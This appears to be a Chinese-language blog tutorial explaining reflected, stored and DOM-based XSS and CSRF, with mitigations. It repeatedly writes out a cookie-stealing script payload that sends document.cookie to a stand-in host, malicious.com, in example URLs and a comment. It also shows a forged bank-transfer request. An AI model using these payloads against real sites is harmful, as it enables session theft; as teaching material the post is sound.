web安全之有关反射型 XSS 的疑问-优快云博客

xxx

学习 XSS (Cross-Site Scripting，跨站脚本攻击) 的时候可以了解到 XSS 分为三种：持久型 (type-2)，反射型 (type-1) 和基于 DOM 型 (type-0) 。在看反射型的时候，总结一下大多数帖子给出的解释：恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方（通常是搜索框），然后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。

接下来看例子：用户在一个不防范 XSS 的网站中搜索内容，关键字为 XXX，如果网站内包含 XXX的内容，那么该内容就会被展示出来，如果网站中不包含相关，那么可能会提示 XXX 相关内容不存在。也就是，用户的搜索内容最终都会以某种方式反射到搜索结果中。如果搜索内容为：<script>alert(1)</script>，那么页面就会执行这段 JavaScript 代码，也即该网站存在 XSS 漏洞。

那么问题来了： 作为不懂 JavaScript 的用户，是不可能自己在搜索框中输入恶意脚本攻击自己的。大部分网上的帖子给出的例子到以上内容为止，解释了什么是反射型 XSS，但是却没有说明如何进行攻击。我猜想是通过例如 www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script> 这样的恶意链接做到的，经历一番搜寻求证，还是在一些博客中有提及的确是这样做的（具体查看文末参考）。

XSS 小结

上文提到，XSS 可以分为三种，持久型（Persistent），反射型（Reflected），和基于 DOM 型（DOM-Based）。仔细来讲一下这三者吧。

持久型

定义

恶意脚本被攻击者上传到合法的服务器中，并在常规的页面浏览过程中返回给普通用户并被执行。

例子

攻击者在一个博客网站中的一篇博客下评论 <script>window.location='http://malicious.com/?data=' + document.cookie</script>，恶意代码就会在所有访问这篇博客评论的用户的浏览器中执行。

反射型

定义

上文提过了，这里重复一遍：恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方（通常是搜索框），然后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。

例子

例子就不重复，开头给出了具体的例子。不过查阅的文章中有张图很形象，这里引用一下

基于 DOM 型

定义

基于 DOM 型 XSS 其实是一种特殊的反射型 XSS，反射型 XSS 的执行过程经过了服务器端（上面的例子中向服务器发了请求），而基于 DOM 的 XSS 没有经过服务器端（恶意代码没有流经服务端），直接通过 JavaScript（并非攻击者写的恶意脚本，而是来自服务器的 DOM 操作脚本）将数据输出到 HTML 页面中。

例子

假设如下表单是让用户选择他的首选语言，默认选项作为参数提供在了 "default" 参数中。

Select your language:

<select><script> document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>"); </script></select>

使用一下 URL 调用该页面

http://www.some.site/page.html?default=French

可以通过向受害者发送以下 URL 来完成基于 DOM 的 XSS 攻击

http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script>

反射型和持久型区别

最大的区别就是 XSS 恶意代码是否存储在合法服务器中，网友也有提到反射型需要欺骗用户点击链接，而持久型用户访问相关页面就直接触发。

缓解办法

根据攻击原理，可得出如下缓解办法（主要核心是第一条 —— 警惕用户输入）：

验证用户输入或者做内容转义
对于反射型，可以提醒用户小心恶意链接（这个几乎没用。。。）或者浏览器对 URL 做识别（Chrome，Firefox都支持）
对于盗用 Cookie ，设置 HttpOnly 属性来保证 JavaScript 代码无法访问 cookie

XSS 延伸之 CSRF

因为都是 Cross-Site，XSS 和 CSRF 有时候一起出现尽管他们并不相同，CSRF 是 Cross-Site Request Forgery (跨站请求伪造)，CSRF 攻击通过伪装成受信任用户的请求来利用受信任的网站，不管使用什么方法只要是伪造用户发起的请求都可以称为 CSRF 攻击。

例子

用户访问银行的网站，在 Session 还未过期的情况下（伪造用户身份的关键） ，访问了危险网站，危险网站执行如下代码

$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(data) { } );

这时候用户在不知情的情况下转账给了用户B 500元。

缓解办法

不难看出，以上恶意网站发出的请求是跨域请求，在同源策略（Same Origin Policy）未被禁用时会被拦截，即使攻击者通过 iframe/form 来成功发送该请求（才知道表单允许跨域，因为无法获取表单提交后的结果），服务器端也可以通过检查 Referer 来判断请求来源是否合法。 但是，如果银行使用的是 GET 请求来完成转账操作，攻击者可以结合 XSS 来做到 CSRF 攻击，只需要借助以上 XSS 办法让用户点击请求的 URL 即可，这种情况下的 CSRF 又叫 XSRF。这种情况下通过改良网站的 API 设计提高 CSRF 攻击的门槛。 对系统的关键操作添加验证码也是有效抵抗 CSRF 攻击的办法，因为 "CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互，才能完成最终请求" 。不过针对 CSRF 最常用的方法还是使用 CSRF-Token ，通过在每次请求的请求头中添加 Token，服务器检查 Token 可以有效防止 CSRF 攻击。